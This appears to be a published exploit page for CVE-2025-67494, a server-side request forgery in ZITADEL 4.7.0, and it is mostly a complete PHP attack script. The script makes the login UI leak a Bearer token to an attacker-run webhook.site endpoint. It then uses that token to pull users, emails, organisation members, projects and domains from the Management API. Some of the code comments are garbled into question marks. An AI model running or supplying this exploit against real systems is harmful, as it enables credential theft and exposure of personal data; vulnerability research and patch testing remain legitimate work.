ZITADEL 4.7.0 Server-Side Request Forgery
ZITADEL 4.7.0 Server-Side Request Forgery
ZITADEL 4.7.0 Server-Side Request Forgery

=============================================================================================================================================
| # Title ZITADEL 4.7.0 Server-Side Request Forgery

=============================================================================================================================================
| # Title : ZITADEL 4.7.0 SSRF Exploit - PHP Version |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/zitadel |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212661/ & CVE-2025-67494

[+] Summary : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API.

[+] SSRFExploiter Class :

Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint

Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers

[+] POC :

# Basic usage (auto-detects API URL)

php exploit.php -u http://target:29000

# Specify custom API URL

php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120


<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

class WebhookManager {
private $token;
private $url;

public function create() {
try {
$ch = curl_init("https://webhook.site/token");
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => ['Content-Type: application/json']
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if (in_array($httpCode, [200, 201])) {
$data = json_decode($response, true);
$token = $data['uuid'] ?? null;
if ($token) {
$this->token = $token;
$this->url = "https://webhook.site/{$token}";
return [$token, $this->url];
}
}
} catch (Exception $e) {
$this->logError("Error creating webhook: " . $e->getMessage());
}
return [null, null];
}

public function getRequests($timeout = 60) {
if (!$this->token) {
return null;
}

$url = "https://webhook.site/token/{$this->token}/requests";
$startTime = time();
$pollInterval = 5;
$lastCheck = 0;

while (time() - $startTime < $timeout) {
$elapsed = time() - $startTime;

try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode == 200) {
$data = json_decode($response, true);
$total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0;

if ($total > $lastCheck) {
$this->logInfo("Webhook received {$total} request(s)...");
$lastCheck = $total;
}

if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) {
return $data['data'];
}
}

$remaining = $timeout - $elapsed;
if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) {
$this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)");
}
} catch (Exception $e) {
$this->logError("Error polling webhook: " . $e->getMessage());
}

if ($elapsed < $timeout) {
sleep($pollInterval);
}
}

return null;
}

public function extractBearerToken($requestsData) {
if (!$requestsData) {
return null;
}

foreach ($requestsData as $req) {
$headers = $req['headers'] ?? [];

foreach ($headers as $key => $value) {
if (strtolower($key) === 'authorization') {
$authHeader = is_array($value) ? ($value[0] ?? '') : $value;
if (strpos($authHeader, 'Bearer ') === 0) {
return substr($authHeader, 7);
}
}
}
}

return null;
}

public function getUrl() {
return $this->url;
}

private function logInfo($message) {
echo "[*] $message\n";
}

private function logError($message) {
echo "[!] $message\n";
}
}

class SSRFExploiter {
private $targetUrl;

public function __construct($targetUrl) {
$this->targetUrl = $targetUrl;
}

public function exploit($oobHost) {
$this->logInfo("Exploiting SSRF to {$this->targetUrl}");
$this->logInfo("OOB host: {$oobHost}");

$url = "{$this->targetUrl}/ui/v2/login";
$headers = ["x-zitadel-forward-host: {$oobHost}"];

try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => $headers
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

$this->logSuccess("SSRF request sent (status: {$httpCode})");
return true;
} catch (Exception $e) {
$this->logError("Error during SSRF exploitation: " . $e->getMessage());
return false;
}
}

private function logInfo($message) {
echo "[*] $message\n";
}

private function logSuccess($message) {
echo "[+] $message\n";
}

private function logError($message) {
echo "[!] $message\n";
}
}

class ZitadelAPI {
private $baseUrl;
private $token;
private $searchQuery = '{"query": {"offset": "0", "limit": 10}}';

public function __construct($baseUrl, $token) {
$this->baseUrl = $baseUrl;
$this->token = $token;
}

private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) {
$url = "{$this->baseUrl}/management/v1/{$endpoint}";
$headers = ["Authorization: Bearer {$this->token}"];

if ($isPost) {
$headers[] = "Content-Type: application/json";
}

try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => $headers
]);

if (strtoupper($method) === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery);
}

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode == 200) {
return json_decode($response, true);
}
} catch (Exception $e) {
if ($errorMsg) {
$this->logError("{$errorMsg}: " . $e->getMessage());
}
}

return null;
}

public function getIamInfo() {
return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info');
}

public function getOrgInfo() {
return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info');
}

public function listUsers() {
return $this->apiRequest('POST', 'users/_search', 'Error listing users', true);
}

public function listProjects() {
return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true);
}

public function listOrgMembers() {
return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true);
}

public function listOrgDomains() {
return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true);
}

public function getUserMemberships($userId) {
$endpoint = "users/{$userId}/memberships/_search";
return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true);
}

private function logError($message) {
echo "[!] $message\n";
}
}

class DataFormatter {
public static function formatIamInfo($data) {
if (!$data) return null;

$gid = $data['globalOrgId'] ?? 'N/A';
$pid = $data['iamProjectId'] ?? 'N/A';
$did = $data['defaultOrgId'] ?? 'N/A';

return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}";
}

public static function formatOrgInfo($data) {
if (!$data || !isset($data['org'])) return null;

$org = $data['org'];
$oid = $org['id'] ?? 'N/A';
$name = $org['name'] ?? 'N/A';
$state = $org['state'] ?? 'N/A';
$domain = $org['primaryDomain'] ?? 'N/A';

return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}";
}

public static function formatUsers($data) {
return self::formatList($data, function($user) {
$userType = isset($user['machine']) ? "Machine" : "Human";
$username = $user['userName'] ?? 'N/A';
$state = $user['state'] ?? 'N/A';

if (isset($user['human']['email']['email'])) {
$email = $user['human']['email']['email'];
return "{$userType}: {$username} ({$email}) - {$state}";
}
return "{$userType}: {$username} - {$state}";
});
}

public static function formatProjects($data) {
return self::formatList($data, function($project) {
$name = $project['name'] ?? 'N/A';
$id = $project['id'] ?? 'N/A';
$state = $project['state'] ?? 'N/A';
return "{$name} (ID: {$id}) - {$state}";
});
}

public static function formatMembers($data) {
return self::formatList($data, function($member) {
$email = $member['email'] ?? 'N/A';
$roles = implode(", ", $member['roles'] ?? []);
return "{$email} - Roles: {$roles}";
});
}

public static function formatDomains($data) {
return self::formatList($data, function($domain) {
$domainName = $domain['domainName'] ?? 'N/A';
$verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified";
$primary = !empty($domain['isPrimary']) ? "Primary" : "";
$result = "{$domainName} - {$verified}";
if ($primary) $result .= " {$primary}";
return trim($result);
});
}

public static function formatMemberships($data) {
return self::formatList($data, function($membership) {
$orgName = $membership['displayName'] ?? 'N/A';
$roles = implode(", ", $membership['roles'] ?? []);
$iam = !empty($membership['iam']) ? "IAM" : "Org";
return "{$iam}: {$orgName} - Roles: {$roles}";
});
}

private static function formatList($data, $formatter) {
if (!$data || !isset($data['result']) || empty($data['result'])) {
return null;
}

$items = array_map($formatter, $data['result']);
$items = array_filter($items);

return !empty($items) ? implode("\n", $items) : null;
}
}

function printInfo($title, $data, $formatter = null) {
if (!$data) return;

echo "\n" . str_repeat('=', 60) . "\n";
echo "{$title}\n";
echo str_repeat('=', 60) . "\n";

if ($formatter) {
$formatted = call_user_func($formatter, $data);
if ($formatted) {
echo "{$formatted}\n";
}
} else {
echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
}
}

function parseArguments() {
global $argv;
$options = [
'ui-url:' => 'u:',
'api-url:' => 'a:',
'timeout:' => '',
'help' => 'h'
];

$parsed = getopt(implode('', array_values($options)), array_keys($options));

$args = [];
$args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null;
$args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null;
$args['timeout'] = $parsed['timeout'] ?? 60;
$args['help'] = isset($parsed['h']) || isset($parsed['help']);

return $args;
}

function showHelp() {
echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n";
echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
echo "Options:\n";
echo " -u, --ui-url ZITADEL Login UI URL (e.g., http://localhost:29000)\n";
echo " -a, --api-url ZITADEL Management API URL (e.g., http://localhost:28080).\n";
echo " If not provided, will be auto-detected from UI URL\n";
echo " --timeout Timeout in seconds (default: 60)\n";
echo " -h, --help Show this help message\n";
}

function main() {
$args = parseArguments();

if ($args['help'] || !$args['ui-url']) {
showHelp();
exit($args['help'] ? 0 : 1);
}

// ????? ?????????? ??? ?? ??? ???????
$uiUrl = $args['ui-url'];
if (!preg_match('#^https?://#i', $uiUrl)) {
$uiUrl = "http://" . $uiUrl;
echo "[*] Added protocol to UI URL: {$uiUrl}\n";
}

if ($args['api-url']) {
$baseUrl = $args['api-url'];
if (!preg_match('#^https?://#i', $baseUrl)) {
$baseUrl = "http://" . $baseUrl;
}
} else {
$parsed = parse_url($uiUrl);

// ??? ???????? ?? ???? ??? ???? ??????
$scheme = $parsed['scheme'] ?? 'http';
$host = $parsed['host'] ?? '127.0.0.1';
$port = $parsed['port'] ?? null;

// ???? ????? ?????? ?????? ????? ??? ?????? ??????
if ($port == 28080) {
// ??? ??? ?????? 28080 (API)? ??????? 29000 ??? UI
$uiUrl = "{$scheme}://{$host}:29000";
$baseUrl = "{$scheme}://{$host}:28080";
} elseif ($port == 29000) {
// ??? ??? ?????? 29000 (UI)? ??????? 28080 ??? API
$uiUrl = "{$scheme}://{$host}:29000";
$baseUrl = "{$scheme}://{$host}:28080";
} else {
// ??? ??? ???? ???? ????? ??? UI ??????? ?????? ????????? ??? API
$baseUrl = "{$scheme}://{$host}:28080";
}

echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n";
}

echo "[*] Starting CVE-2025-67494 exploit\n";
echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n";

// ... ???? ?????

$webhook = new WebhookManager();
echo "[*] Creating webhook.site URL via API...\n";
list($webhookToken, $webhookUrl) = $webhook->create();

if (!$webhookToken) {
echo "[!] Failed to create webhook via API\n";
exit(1);
}

$oobHost = "{$webhookToken}.webhook.site";
echo "[+] Webhook created: {$webhookUrl}\n";
echo "[*] OOB host: {$oobHost}\n";

$exploiter = new SSRFExploiter($uiUrl);
echo "[*] Sending SSRF request...\n";
$exploiter->exploit($oobHost);

$timeout = (int)$args['timeout'];
echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n";
$requestsData = $webhook->getRequests($timeout);

if (!$requestsData) {
echo "[!] Timeout: No requests received within {$timeout} seconds\n";
exit(1);
}

$token = $webhook->extractBearerToken($requestsData);
if (!$token) {
echo "[!] Bearer token not found in webhook requests\n";
exit(1);
}

echo "[+] Bearer token successfully retrieved!\n";
echo "[*] Token: " . substr($token, 0, 50) . "...\n";
echo "[*] Retrieving information via Management API...\n";

$api = new ZitadelAPI($baseUrl, $token);

$iamInfo = $api->getIamInfo();
printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']);

$orgInfo = $api->getOrgInfo();
printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']);

$users = $api->listUsers();
printInfo("Users", $users, ['DataFormatter', 'formatUsers']);

if ($users && isset($users['result']) && count($users['result']) > 0) {
$firstUserId = $users['result'][0]['id'];
$memberships = $api->getUserMemberships($firstUserId);
printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']);
}

$projects = $api->listProjects();
printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']);

$members = $api->listOrgMembers();
printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']);

$domains = $api->listOrgDomains();
printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']);

echo "[+] Exploitation completed successfully!\n";
}

if (PHP_SAPI === 'cli') {
main();
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.